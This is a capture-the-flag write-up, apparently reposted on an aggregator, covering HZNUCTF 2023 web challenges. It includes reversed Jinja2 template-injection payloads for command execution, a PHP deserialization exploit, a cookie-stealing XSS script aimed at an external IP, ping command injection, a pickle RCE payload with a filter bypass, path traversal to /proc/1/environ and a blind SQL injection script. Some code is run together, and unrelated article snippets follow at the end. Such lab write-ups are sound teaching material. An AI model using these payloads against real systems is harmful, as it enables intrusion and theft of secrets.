[HZNUCTF 2023 preliminary] 2023杭师大校赛(初赛) web方向题解wp 全

news/2025/4/1 6:49:24/

ezflask

先看题目,应该是模板注入(SSTI),输入{{7*‘7’}}直接报错误。

image-20230325103700609

发现模板是反序输出的,怪不得不能直接输入{{}}。

image-20230325104044802

输入}}‘7’*7{{返回777777,是jinja2

image-20230325104258299

//直接手打,无所谓我是怨种
?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

后来写了一个逆序字符串的脚本:

import base64strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #baseprint(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

image-20230325110257757

找到flag了,在flag.sh。呃。。。。。

?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
内心:6

image-20230325110506615

tac $(find / -name fla*)
payload:?name=}})')(daer.)")*alf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //无效,找不到find / -name flag*
payload:?name=}})')(daer.)"*galf eman- / dnif"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

image-20230325111730983

tac $(find / -name flag.txt)
payload:?name=}})')(daer.)")txt.sgalf eman- / dnif($ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{  //找不到,不敢打出题人cd bin/;ls
payload:?name=}})')(daer.)"sl;/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
//得到app.py require.txtcd /usr/bin/bash;ls
payload:?name=}})')(daer.)"sl;hsab/nib/rsu/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

尝试无果,基本上翻遍了目录。换个思路,查看一下环境变量,env命令。

?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{ 

image-20230325121818293

ppppop

打开题目,没东西,看看包,有个cookie,base64加密,伪造一下。

image-20230325123709102

image-20230325123951177

image-20230325124009344

strrev() , 反转字符串

__call(),在对象中调用一个不可访问方法时调用

image-20230325152522319

exp:
<?php
error_reporting(0);
class A {public $className='B';public $funcName='system';public $args='env';public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
} $j17 = new A();
#echo serialize($j17);
echo base64_encode(strrev(serialize($j17)));
echo '666666666666666';
?>
//幸好先做了SSTI,要不然找flag能把我找疯咯。

image-20230325152649098

猜猜猜

又是逆序,服了,谢谢你秋菊师傅。

id=4,但是看不见。

image-20230325134518423

联合注入无效。

image-20230325135006650

image-20230325203729737

过滤了<?php和

<script>alert(1)</script> 有返回框

image-20230325204809892

<script>document.location.href='http://43.138.184.24:9999/test.php?cookie='+document.cookie</script>>tpircs/<eikooc.tnemucod+'=eikooc?php.a/xxx//:ptth'=ferh.noitacol.tnemucod>tpircs<

脑洞题,想想。等到了hint,pingpong。命令执行ping。之前遇到过类似的题原理不懂等wp 为啥这里可以这样啊,暂时的想法是,<?php 被过滤了,执行命令服务器解析不了,和ping一起的话服务器就知道我要执行命令了。

image-20230326194721891

ping 127.0.0.1||env   //永远的env,逆序一下哦

image-20230326200107540

ezpickle

Python Pickle反序列化。picklecPickle,作用和PHP的serialize与unserialize一样。pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()pickle.load()

使用pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

Pickle中一个不安全的因素——反序列化未知的二进制字节流。原因是该字节流可能包含被精心构造的恶意代码,此时如果我们使用pickle.loads()方法unpickling,就会导致恶意代码的执行。


__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。返回值是一个(callable, ([para1,para2...])[,...])类型的元组。当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令。

注意点:

部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,**则这个date不会被打包!**解决方案是写一个__init__方法, 也就是这样:

image-20230325234714221

一个是windows和linux生成的序列化会不一样(所以我们做题时要用kali生成),一个是os需要去双写绕过

代码如下:
import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。  
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")    #get输入payload,在/calc目录pickle.loads(base64.b64decode(payload).replace(b'os', b''))    #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():            #可以把结果重定向到文件中,然后用readFile读。在/readFile目录filename = request.args.get('filename').replace("flag", "????")    #GET提交,把flag换成????,任意文件读取但是防止读取flag。with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0', port=80)

生成payload:

import pickle
import os
import base64class qiuju666():         //秋菊师傅真的强def __reduce__(self):        return(os.system,("env> a.txt",))   //重定向,从之前题目推断出flag在环境变量。当然这里可以执行其他命令a= qiuju666()
payload=pickle.dumps(a).replace(b'os', b'ooss')   //双写绕过payload=base64.b64encode(payload)    //base编码byte类
print(payload)

image-20230326083659300

image-20230326083710253

image-20230326083723746


此外,后续还发现了一个非预期。任意文件读取可以读取环境变量文件/proc/1/version

payload:

/readFile?filename=../../../../../../../../../../../../proc/1/environ

image-20230816004645270

ezlogin

先看题目,抓个包,是post传参,有提示。name是base+反转。

image-20230325155908229

只有用户名有过滤,应该是注入点过滤and      ==》&&    //我直接or了
过滤database ==》Database
过滤空格      ==》/**/                    
过滤=        ==》like9999999'/**/or/**/length(Database())like/**/5/**/#     //记得base,成功登录,注释符只能用#
Content-Length: 22【不成功】   129【成功】
手工测出数据库长度是5

这里只提示登录成功与否,无任何回显信息,所以只能用盲注。

image-20230816001943271

脚本  #author:yu22x  improve by jay17
import requests
import string
import base64
url="http://7ad5907d-0d03-4bfe-8cd0-baebf20f5dc5.ite.hznu.edu.cn/"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,999):print(i)for j in range(32,128):# 跑库名#s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{i},1))/**/like/**/{j},1,0)#"# 跑表名#s = f"999'/**/or/**/if(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctftraining'),{i},1))/**/like/**/{j},1,0)#"# 跑列名#s = f"999'/**/or/**/if(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'news'),{i},1))/**/like/**/{j},1,0)#"#######################s = f"999'/**/or/**/if(ord(substr((Select/**/grOUp_cOncat(password)/**/frOm/**/users.user),{i},1))/**/like/**/{j},1,0)#"sre = s[::-1]   #逆序sbase=str(base64.b64encode(sre.encode("utf-8")), "utf-8")   #base64data={'username':sbase,'passwd':'MTEx'}# data={#     'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",#     'password':'1'# }r=requests.post(url,data=data)#print(r.text)if "success!!" in r.text:flag+=chr(j)print(flag)break#库  information_schema,ctftraining,performance_schema,test,mysql,users#ctftraining库的表    FLAG_TABLE,news,users
#FLAG_TABLE列     FLAG_COLUMN
#news列           id,title,content,time
#骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局,骗局!!!!!!!!!!!!!!#users库的表  user
#user列     max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time,id,username,password
#列  Host,User,Password,Select_priv,Insert_priv,Update_priv.......,id,username,password(600+)
#字段  password里面有东西

image-20230326131257674


http://www.ppmy.cn/news/1035110.html

相关文章

git 操作

git切换ssh和http协议 切换协议&#xff1a; 查看当前remote git remote -v 切换到http&#xff1a; git remote set-url https://github.com/username/repository.git 切换到ssh&#xff1a; git remote set-url gitgithub.com:username/repository.git 某些文件不想提交…

第四章,向量组,2-矩阵等价与向量组等价的关系

第四章&#xff0c;向量组&#xff0c;2-矩阵等价与向量组等价的关系 矩阵乘法与线性表示矩阵等价与向量组等价 玩转线性代数(23)线性组合与线性表示的应用的笔记&#xff0c;相关证明以及例子见原文 矩阵乘法与线性表示 设有 A m ∗ n B n ∗ l C m ∗ l A_{m*n}B_{n*l}C_{m…

YOLO格式数据集(.txt)如何转换为VOC格式数据集(.xml)

前言&#xff1a; 安装好python环境与编译器 转换&#xff1a; 将标注文件从文本格式&#xff08;.txt&#xff09;转换为 XML 格式&#xff08;.xml&#xff09;可以通过以下步骤完成&#xff1a; 解析文本标注文件&#xff1a;打开 .txt 文件&#xff0c;逐行读取每个标注…

背包 问题

1、背包问题 1.1、01背包 题目&#xff1a; 有n件物品和一个容量为m的背包&#xff0c;第i件物品的体积是v[ i ]&#xff0c;价值是w[ i ]&#xff0c;每件物品只有一件&#xff0c;求在不超过背包容量的前提下&#xff0c;可以放的物品的最大价值是多少 基本思路&#xff…

神经网络基础-神经网络补充概念-13-python中的广播

概念 在 Python 中&#xff0c;广播&#xff08;Broadcasting&#xff09;是一种用于在不同形状的数组之间执行二元操作的机制。广播允许你在不显式复制数据的情况下&#xff0c;对不同形状的数组进行运算。这在处理数组的时候非常有用&#xff0c;尤其是在科学计算、数据分析…

【佳佳怪文献分享】MVFusion: 利用语义对齐的多视角 3D 物体检测雷达和相机融合

标题&#xff1a;MVFusion: Multi-View 3D Object Detection with Semantic-aligned Radar and Camera Fusion 作者&#xff1a;Zizhang Wu , Guilian Chen , Yuanzhu Gan , Lei Wang , Jian Pu 来源&#xff1a;2023 IEEE International Conference on Robotics and Automat…

Linux系统中基于NGINX的代理缓存配置指南

作为一名专业的爬虫程序员&#xff0c;你一定知道代理缓存在加速网站响应速度方面的重要性。而使用NGINX作为代理缓存服务器&#xff0c;能够极大地提高性能和效率。本文将为你分享Linux系统中基于NGINX的代理缓存配置指南&#xff0c;提供实用的解决方案&#xff0c;助你解决在…